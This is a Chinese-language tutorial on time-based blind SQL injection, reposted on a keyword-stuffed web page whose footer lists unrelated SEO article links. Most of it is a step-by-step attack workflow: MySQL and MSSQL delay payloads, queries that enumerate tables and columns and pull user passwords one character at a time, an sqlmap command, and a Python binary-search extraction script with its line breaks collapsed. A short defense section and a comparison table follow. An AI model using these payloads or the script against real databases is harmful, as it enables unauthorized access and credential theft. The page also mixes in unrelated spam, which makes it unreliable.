当前位置: 首页 > wzjs >正文

康桥网站建设推广产品

康桥网站建设,推广产品,asp 网站后台,郑州网站建设 个人工作室目录 一、时间盲注原理 二、完整攻击流程 1. 注入点确认 2. 基础条件判断 3. 系统信息收集 (1)获取数据库版本 (2)获取当前数据库名 4. 数据提取技术 (1)表名枚举 (2)列名猜…

目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import timetarget_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "for position in range(1, 20):low = 0high = 255while low <= high:mid = (low + high) // 2current_payload = payload.format(position, mid)start_time = time.time()requests.get(target_url + current_payload)elapsed = time.time() - start_timeif elapsed > 3:low = mid + 1else:high = mid - 1print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项时间盲注报错注入
适用场景无任何回显有错误信息回显
攻击速度极慢(需等待延迟)较快
检测难度更难被传统WAF识别易被基于错误的规则检测
典型函数SLEEP()、BENCHMARK()updatexml()、extractvalue()
数据提取方式逐字符二分法判断直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低
http://www.dtcms.com/wzjs/5848.html

相关文章:

  • 襄阳做网站比较有实力的公司上海抖音seo公司
  • 科技 杭州 网站建设网店网络推广方案
  • 最专业的外贸网站建设软文范例大全800
  • 郑州网站建设做推广吗行者seo
  • 网站后台发邮件站长工具官网查询
  • 怎样做网站轮播万能搜索 引擎
  • 做网站需要用到的符号语言内部搜索引擎优化
  • 昆明网站建设推广安徽网络seo
  • 茂名网站建设公司什么是软文推广
  • 制作网站页面怎么做大批量刷关键词排名软件
  • 做网站费用计入什么seo公司排名教程
  • 做家常菜的网站深圳搜索引擎优化收费
  • 做的网站怎样适配手机屏幕如何写市场调研报告
  • 巩义网站建设全球访问量top100网站
  • 网站建设大概好多钱百度搜索风云榜单
  • 昆明找工作哪个网站好四川省人民政府
  • php盗版视频网站怎么做的google play下载安装
  • 做外贸企业网站要注意哪些微信搜一搜怎么做推广
  • 网站开发百度百科营销顾问
  • 做网站要不要学ps天津网络广告公司
  • php 政府网站源码西安网站外包
  • 如何做农产品网站杭州百度竞价推广公司
  • 南上海网站建设网站怎样被百度收录
  • 精品服装网站建设网页制作代码模板
  • 政府单位网站建设方案百度霸屏推广
  • 网站手机验证码如何做杭州seo关键字优化
  • 开网站供免费下载长春seo公司哪家好
  • 做网站的北京商铺营销推广方案
  • 合肥市城乡建设局2019网站企业网站建设的目的
  • 新疆网站建设一条龙服务线上推广有哪些平台效果好